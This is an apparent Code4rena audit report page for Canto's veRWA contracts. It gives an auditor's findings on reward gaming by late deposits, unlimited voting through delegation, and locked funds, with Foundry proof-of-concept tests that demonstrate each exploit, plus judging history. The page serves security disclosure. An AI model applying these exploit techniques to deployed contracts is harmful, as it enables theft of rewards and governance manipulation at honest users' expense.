Platform: Code4rena
Start Date: 07/08/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 125
Period: 3 days
Judge: alcueca
Total Solo HM: 4
Id: 274
League: ETH
Rank: 13/125
Findings: 5
Award: $313.85
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: SpicyMeatball
Also found by: 0xComfyCat, GREY-HAWK-REACH, Yanchuan, cducrest, immeas, kaden, mert_eren, nonseodion, pep7siup, popular00, ppetrov
143.0396 USDC - $143.04
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L137, https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L174
LendingLedger
is designed to provide lenders with weekly rewards, based partially on the amount that they've supplied to an approved lending market during that epoch. However, when calculating rewards the protocol does not discern between funds that are supplied in the first block of the epoch or the last. As a result, users can supply funds to a lending market at the very end of an epoch and remove them in the next block, receiving rewards as if they had supplied the entire time. Conversely, if a user supplies on the first block of the epoch and removes their funds at any point before it ends, they will not receive any rewards. An attacker can exploit this to significantly distort rewards distribution.
LendingLedger
allows whitelisted marketplaces to communicate users' balances to the contract via LendingLedger#sync_ledger()
. This function:
function sync_ledger(address _lender, int256 _delta) external { address lendingMarket = msg.sender; require(lendingMarketWhitelist[lendingMarket], "Market not whitelisted"); _checkpoint_lender(lendingMarket, _lender, type(uint256).max); // 1 uint256 currEpoch = (block.timestamp / WEEK) * WEEK; // @audit the only time component is the current epoch - there is no accounting for the amount of time left int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta; require(updatedLenderBalance >= 0, "Lender balance underflow"); lendingMarketBalances[lendingMarket][_lender][currEpoch] = uint256(updatedLenderBalance); // 2 _checkpoint_market(lendingMarket, type(uint256).max); // 3 // @audit similarly there is no accounting for the amount of time left for the market balance int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta; require(updatedMarketBalance >= 0, "Market balance underflow"); lendingMarketTotalBalance[lendingMarket][currEpoch] = uint256(updatedMarketBalance); // 3 }
An attacker can submit at the very end of an epoch, wait a short while for the epoch to complete, and can then call claim()
. The user's balance and market's balance that were set in sync_ledger()
are used to calculate the amount of Canto to send the user.
Note that the attacker could have already withdrawn his funds from the lending market and his current balance could be 0; the protocol only cares about his balance at the very end of the last epoch.
function claim(...) external { ... uint256 userBalance = lendingMarketBalances[_market][lender][i]; // @audit i == last epoch here uint256 marketBalance = lendingMarketTotalBalance[_market][i]; RewardInformation memory ri = rewardInformation[i]; require(ri.set, "Reward not set yet"); uint256 marketWeight = gaugeController.gauge_relative_weight_write(_market, i); // Normalized to 1e18 // (marketWeight / 1e18) * (userBalance / marketBalance) * ri.amount; cantoToSend += (marketWeight * userBalance * ri.amount) / (1e18 * marketBalance); ... if (cantoToSend > 0) { (bool success,) = msg.sender.call{value: cantoToSend}(""); require(success, "Failed to send CANTO"); } }
An attacker can thus supply an extremely large amounts of tokens to the lending pool for a short period, receiving the lion's share of rewards and shrinking them for all other users by inflating the market's balance (which is the denominator in reward calculation).
High - users can obtain disproportionate/unfair amounts of rewards at the expense of honest users
The test below can be dropped into LendingLedger.t.sol and run with forge test --match-test testAttackLateDeposit -vv
to view the console.logs.
function testAttackLateDeposit() public { whiteListMarket(); vm.prank(goverance); ledger.setRewards(fromEpoch, toEpoch, amountPerEpoch); vm.warp(WEEK * 5); // airdrop ledger enough token balance for user to claim payable(ledger).transfer(100 ether); int256 delta = 1.1 ether; uint256 snapshot = vm.snapshot(); vm.prank(lendingMarket); ledger.sync_ledger(lender, delta); // deposit normally vm.warp(WEEK * 6); uint256 balanceBefore = address(lender).balance; vm.prank(lender); ledger.claim(lendingMarket, 0, type(uint256).max); // claim all console.log("Happy case - lend at beginning of epoch + wait a week"); console.log("balanceBefore: %s, balanceAfter: %s", balanceBefore, address(lender).balance); vm.revertTo(snapshot); vm.warp(WEEK * 5 + 6 days + 23 hours); // wait up until right before the epoch ends and deposit vm.prank(lendingMarket); ledger.sync_ledger(lender, delta); vm.warp(WEEK * 6); balanceBefore = address(lender).balance; vm.prank(lender); ledger.claim(lendingMarket, 0, type(uint256).max); console.log("Evil case - lend one hour before epoch ends "); console.log("balanceBefore: %s, balanceAfter: %s", balanceBefore, address(lender).balance); }
Manual review
activePeriod = (nextEpoch - submissionTimestamp) * scalingFactor / WEEK
, then divided by scalingFactor again in the final reward calculationTiming
#0 - c4-pre-sort
2023-08-12T09:42:31Z
141345 marked the issue as duplicate of #71
#1 - c4-judge
2023-08-25T11:00:07Z
alcueca changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-08-25T11:01:29Z
alcueca changed the severity to 3 (High Risk)
#3 - c4-judge
2023-08-25T11:03:24Z
alcueca marked the issue as satisfactory
🌟 Selected for report: 0x73696d616f
Also found by: 0xCiphky, 0xComfyCat, 0xDetermination, GREY-HAWK-REACH, QiuhaoLi, SpicyMeatball, Team_Rocket, Tricko, Yanchuan, deadrxsezzz, immeas, kaden, lanrebayode77, ltyu, mert_eren, nonseodion, oakcobalt, popular00, th13vn
18.4722 USDC - $18.47
GaugeController#vote_for_gauge_weights()
is designed to allow users to vote for gauge rewards based on the amount of $CANTO they have locked in the VotingEscrow
contract. VotingEscrow
includes functionality for users to delegate their voting power to another address via delegate()
. The delegatee can then vote freely using the delegator's stake. The issue is that there is no check to ensure that the delegatee's vote hadn't already been used by the delegator (or any other prior delegatees). This allows for infinite voting with the same stake.
The basic exploit flow is:
delegate()
increases the delegatee's voting power by increasing the amount of lock.delegated
in the delegatee's lock:
function _delegate(address addr, LockedBalance memory _locked, int128 value,...) internal { LockedBalance memory newLocked = _copyLock(_locked); if (action == LockAction.DELEGATE) { newLocked.delegated += value; // @audit add delegated value emit Deposit(addr, uint256(int256(value)), newLocked.end, action, block.timestamp); ... locked[addr] = newLocked; if (newLocked.amount > 0) { _checkpoint(addr, _locked, newLocked); // @audit checkpoint it } }
The updated lock.delegated
value is then used in the call to _checkpoint
to calculate the delegatee's lock's slope:
function _checkpoint(address _addr, ..., LockedBalance memory _newLocked) internal { Point memory userOldPoint; Point memory userNewPoint; ... if (_addr != address(0)) { // Calculate slopes and biases // Kept at zero when they have to ... if (_newLocked.end > block.timestamp && _newLocked.delegated > 0) { userNewPoint.slope = _newLocked.delegated //@audit new slope here from delegated amount / int128(int256(LOCKTIME)); userNewPoint.bias = userNewPoint.slope * int128(int256(_newLocked.end - block.timestamp)); }
The checkpointed slope is then used to calculate the share of rewards
function vote_for_gauge_weights(address _gauge_addr, uint256 _user_weight) external { ... (, int128 slope_, ) = ve.getLastUserPoint(msg.sender); require(slope_ >= 0, "Invalid slope"); ... // @audit take the _checkpointed slope and use it to calculate voting power (new_slope.slope) VotedSlope memory new_slope = VotedSlope({slope: (slope * _user_weight) / 10_000, end: lock_end, power: _user_weight}); uint256 new_dt = lock_end - next_time; uint256 new_bias = new_slope.slope * new_dt; ... //@audit update points weight points_weight[_gauge_addr][next_time].bias = Math.max(old_weight_bias + new_bias, old_bias) - old_bias; points_sum[next_time].bias = Math.max(old_sum_bias + new_bias, old_bias) - old_bias;
High - undermines all voting
The test below can be dropped into GaugeController.t.sol
. Note that the locks of user2 and user3
are created with only 1 wei, and once delegated they can both vote and substantially increase the relative weight of gauge1
.
function testInfiniteVote() public { vm.startPrank(gov); gc.add_gauge(gauge1); gc.add_gauge(gauge2); gc.change_gauge_weight(gauge1, 50); gc.change_gauge_weight(gauge2, 50); vm.stopPrank(); vm.startPrank(user1); ve.createLock{value: 1 ether}(1 ether); gc.vote_for_gauge_weights(gauge1, 5000); // vote 50% for gauge1 gc.vote_for_gauge_weights(gauge2, 5000); // vote 50% for gauge2 vm.stopPrank(); console.log( "G1 Relative weight: %s, G2 Relative weight: %s", gc.gauge_relative_weight_write(gauge1, block.timestamp + WEEK), gc.gauge_relative_weight_write(gauge2, block.timestamp + WEEK) ); vm.prank(user2); ve.createLock{value: 1}(1); // create a 1wei lock for user2 vm.prank(user1); ve.delegate(user2); // delegate to user2 vm.prank(user2); gc.vote_for_gauge_weights(gauge1, 10000); // vote 100% for gauge 1 console.log("Delegated to user2, user2 votes for gauge 1 with delegated votes"); console.log( "G1 Relative weight: %s, G2 Relative weight: %s", gc.gauge_relative_weight_write(gauge1, block.timestamp + WEEK), gc.gauge_relative_weight_write(gauge2, block.timestamp + WEEK) ); address user3 = address(0x420); // get one more user vm.deal(user3, 1); vm.prank(user3); ve.createLock{value: 1}(1); // create a 1wei lock for user2 vm.prank(user1); ve.delegate(user3); // delegate to user3 vm.prank(user3); gc.vote_for_gauge_weights(gauge1, 10000); // vote 100% for gauge 1 console.log("Delegated to user3, user3 votes for gauge 1 with delegated votes"); console.log( "G1 Relative weight: %s, G2 Relative weight: %s", gc.gauge_relative_weight_write(gauge1, block.timestamp + WEEK), gc.gauge_relative_weight_write(gauge2, block.timestamp + WEEK) ); }
Manual review
GaugeController
-> VotingEscrow
, which doesn't currently exist)Invalid Validation
#0 - c4-pre-sort
2023-08-12T10:54:27Z
141345 marked the issue as duplicate of #45
#1 - c4-pre-sort
2023-08-13T13:17:07Z
141345 marked the issue as duplicate of #99
#2 - c4-pre-sort
2023-08-13T17:09:25Z
141345 marked the issue as duplicate of #178
#3 - c4-pre-sort
2023-08-13T17:39:54Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-08-13T17:40:02Z
141345 marked the issue as duplicate of #86
#5 - c4-judge
2023-08-25T10:51:22Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-08-25T10:51:34Z
alcueca changed the severity to 3 (High Risk)
#7 - c4-judge
2023-08-25T10:53:56Z
alcueca marked the issue as partial-50
🌟 Selected for report: ltyu
Also found by: 0xDING99YA, 3docSec, KmanOfficial, MrPotatoMagic, RED-LOTUS-REACH, Tendency, Yuki, bart1e, bin2chen, carrotsmuggler, cducrest, kaden, mert_eren, pep7siup, popular00, qpzm, seerether, zhaojie
43.2097 USDC - $43.21
The VotingEscrow
contract includes delegation functionality such that a user can grant their gauge votes to someone else via the VotingEscrow#delegate()
function. One of the requirements for a user to recover their funds at the end of the lock period is for their lock to NOT be delegated (i.e. their own address is set as the delegate address):
function withdraw() external nonReentrant { LockedBalance memory locked_ = locked[msg.sender]; // Validate inputs require(locked_.amount > 0, "No lock"); require(locked_.end <= block.timestamp, "Lock not expired"); require(locked_.delegatee == msg.sender, "Lock delegated"); // @audit require that the lock is not delegated ... }
The procedure for undelegating votes is to call delegate(<our_address>)
. However, if our lock is already expired the call to delegate()
will always fail, as we will be attempting to delegate to an expired lock:
function delegate(address _addr) external nonReentrant { LockedBalance memory locked_ = locked[msg.sender]; ... address delegatee = locked_.delegatee; LockedBalance memory fromLocked; LockedBalance memory toLocked; locked_.delegatee = _addr; if (delegatee == msg.sender) { ... } else if (_addr == msg.sender) { // @audit this is the case we care about - want to undelegate // Undelegate fromLocked = locked[delegatee]; toLocked = locked_; // @audit toLocked = our lock } else { ... } require(toLocked.amount > 0, "Delegatee has no lock"); require(toLocked.end > block.timestamp, "Delegatee lock expired"); // @audit if our lock is expired, toLocked.end will be less than block.timestamp require(toLocked.end >= fromLocked.end, "Only delegate to longer lock"); _delegate(delegatee, fromLocked, value, LockAction.UNDELEGATE); _delegate(_addr, toLocked, value, LockAction.DELEGATE); }
As a result, our funds are unrecoverable from the lock. We will similarly be unable to increase our amount or create a new lock, as our lock still exists and is in this stuck state.
High - funds can be locked in normal operation of the protocol.
The test below can be dropped into VotingEscrow.t.sol
.
function testAttackDelegateExpired() public { testSuccessCreateLock(); // set up a lock for user1 (, uint256 end,,) = ve.locked(user1); vm.prank(user2); ve.createLock{value: LOCK_AMT}(LOCK_AMT); vm.prank(user1); ve.delegate(user2); // delegate what we locked in testSuccessCreateLock() to user2 vm.warp(end + 1); // jump to where our lock expires vm.startPrank(user1); vm.expectRevert("Lock delegated"); // can't withdraw since we have an active delegate to user2 ve.withdraw(); vm.expectRevert("Delegatee lock expired"); // can't delegate to ourselves bc our lock is expired ve.delegate(user1); vm.expectRevert("Lock expired"); // can't increase or create a new lock either, funds are stuck! ve.increaseAmount{value: 1}(1); vm.expectRevert("Lock exists"); ve.createLock{value: 1}(1); }
Manual review
require(toLocked.end > block.timestamp)
in delegate()
to be bypassed if _addr == msg.sender
Timing
#0 - c4-pre-sort
2023-08-11T11:54:59Z
141345 marked the issue as duplicate of #223
#1 - c4-pre-sort
2023-08-13T12:00:35Z
141345 marked the issue as duplicate of #112
#2 - c4-judge
2023-08-24T07:15:59Z
alcueca marked the issue as duplicate of #82
#3 - c4-judge
2023-08-24T07:20:40Z
alcueca changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-08-24T07:39:01Z
alcueca marked the issue as satisfactory
#5 - c4-pre-sort
2023-08-24T08:20:02Z
141345 marked the issue as not a duplicate
#6 - c4-pre-sort
2023-08-24T08:20:23Z
141345 marked the issue as not a duplicate
#7 - c4-pre-sort
2023-08-24T08:22:17Z
141345 marked the issue as duplicate of #211
#8 - c4-judge
2023-08-26T21:24:29Z
alcueca changed the severity to 3 (High Risk)
🌟 Selected for report: thekmj
Also found by: 0xCiphky, 0xDetermination, 0xbrett8571, Eeyore, Team_Rocket, Tripathi, bart1e, deadrxsezzz, immeas, ltyu, mert_eren, pep7siup, popular00
99.3104 USDC - $99.31
GaugeController
includes functionality for Canto governance to add or remove gauges. When a gauge is removed, its address in isValidGauge
is set to false and its weight is set to zero:
/// @notice Remove a gauge, only callable by governance /// @dev Sets the gauge weight to 0 /// @param _gauge The gauge address function remove_gauge(address _gauge) external onlyGovernance { require(isValidGauge[_gauge], "Invalid gauge address"); isValidGauge[_gauge] = false; _change_gauge_weight(_gauge, 0); emit GaugeRemoved(_gauge); }
However, this function does not modify the vote_user_power
mapping. In order for a user to completely remove their votes for a gauge and recover their voting power, they need to call vote_for_gauge_weight(address _gauge_addr, uint256 _user_weight)
with a _user_weight
of 0.
However, as the gauge has marked as false in isValidGauge[_gauge_addr]
, attempts to remove votes from a removed gauge will always revert:
function vote_for_gauge_weights( address _gauge_addr, uint256 _user_weight) external { require(_user_weight >= 0 && _user_weight <= 10_000, "Invalid user weight"); // @audit-issue this will always revert for gauges that have been removed by governance require(isValidGauge[_gauge_addr], "Invalid gauge address");
Medium - user votes are stuck for the full lock period, but this action is reversible by governance.
The following test can be dropped into GaugeController.t.sol
.
function testVoteRemovedGauge() public { // vote_for_gauge_weights valid vote 50% // Should vote for gauge and change weights accordingly vm.startPrank(gov); gc.add_gauge(gauge1); gc.change_gauge_weight(gauge1, 50); vm.stopPrank(); vm.startPrank(user1); ve.createLock{value: 1 ether}(1 ether); gc.vote_for_gauge_weights(gauge1, 5000); // vote 50% for gauge1 vm.stopPrank(); vm.prank(gov); gc.remove_gauge(gauge1); vm.prank(user1); vm.expectRevert(); gc.vote_for_gauge_weights(gauge1, 0); // @audit can't remove votes }
Manual review
isValidGauge[addr] == false
DoS
#0 - c4-pre-sort
2023-08-12T15:18:09Z
141345 marked the issue as duplicate of #62
#1 - c4-judge
2023-08-25T11:10:07Z
alcueca marked the issue as satisfactory
#2 - c4-judge
2023-08-25T22:43:36Z
alcueca changed the severity to 3 (High Risk)
🌟 Selected for report: RED-LOTUS-REACH
Also found by: 0x3b, 0x4non, 0xCiphky, 0xDING99YA, 0xDetermination, 0xE1, 0xG0P1, 0xStalin, 0xWaitress, 0xbrett8571, 0xhacksmithh, 0xkazim, 0xmuxyz, 0xweb3boy, 14si2o_Flint, AlexCzm, Alhakista, Bube, Bughunter101, Deekshith99, Eeyore, Giorgio, HChang26, InAllHonesty, JP_Courses, KmanOfficial, MatricksDeCoder, Mike_Bello90, MrPotatoMagic, Naubit, QiuhaoLi, RHaO-sec, Raihan, Rolezn, SUPERMAN_I4G, Shubham, Silverskrrrt, Strausses, T1MOH, Topmark, Tripathi, Watermelon, _eperezok, aakansha, auditsea, audityourcontracts, ayden, carlos__alegre, castle_chain, cducrest, ch0bu, d23e, deadrxsezzz, deth, devival, erebus, fatherOfBlocks, halden, hassan-truscova, hpsb, hunter_w3b, imkapadia, immeas, jat, kaden, kaveyjoe, klau5, koxuan, kutugu, ladboy233, lanrebayode77, leasowillow, lsaudit, markus_ether, matrix_0wl, merlin, nemveer, ni8mare, nonseodion, oakcobalt, owadez, p_crypt0, pipidu83, piyushshukla, popular00, ppetrov, rjs, sandy, sl1, supervrijdag, tay054, thekmj, wahedtalash77, windhustler, zhaojie
9.8204 USDC - $9.82
Two of the enum options in LockAction
are unused and can be removed.
enum LockAction { CREATE, INCREASE_AMOUNT, INCREASE_AMOUNT_AND_DELEGATION, INCREASE_TIME, // @audit-issue qa unused WITHDRAW, QUIT, //@audit-issue qa unused DELEGATE, UNDELEGATE }
VotingEscrow#decimals
can be constantVotingEscrow#decimals
is currently a storage variable hardcoded to 18. It can be made constant.
Several key functions are missing event emissions:
GaugeController#_change_gauge_weight()
GaugeController#vote_for_gauge_weights()
LendingLedger
sync_ledger()
claim()
whitelistLendingMarket()
setRewards()
_checkpoint()
functions (discretionary but would recommend adding)GaugeController#last_user_vote
is unnecessaryThis mapping can be removed as it was only used for the voting delay in the original Curve contract, which was not included in this implementation.
GaugeController#L277
: last_user_vote[msg.sender][_gauge_addr] = block.timestamp;
LOCKTIME
and not counted towards votingLock amounts smaller than LOCKTIME will round down to 0 in the following line and will result in a slope and bias of 0:
VotingEscrow#134-135
:
userNewPoint.slope = _newLocked.delegated / int128(int256(LOCKTIME)); userNewPoint.bias = userNewPoint.slope * int128(int256(_newLocked.end - block.timestamp));
There are many instances where a value or timestamp is casted from int128(int256(uint256))
, which can overflow for large values. This is low risk as the current max supply of CANTO is 1 billion and timestamps will not be greater than uint32.max for many years.
LendingLedger
has enough rewards to pay out what governance setsLendingLedgers#setRewards()
allows governance to set the amount of rewards to be distributed for an epoch. However, it is not enforced that the contract actually has enough funds to match the distribution configuration.
LendingLedger#constructor
:
constructor(address _votingEscrow, address _governance) { votingEscrow = VotingEscrow(_votingEscrow); governance = _governance; // TODO: Maybe change to Oracle //@audit-issue qa time_sum can just be assigned directly here uint256 last_epoch = (block.timestamp / WEEK) * WEEK; time_sum = last_epoch; }
#0 - 141345
2023-08-13T07:48:49Z
#1 - c4-judge
2023-08-22T13:38:33Z
alcueca marked the issue as grade-a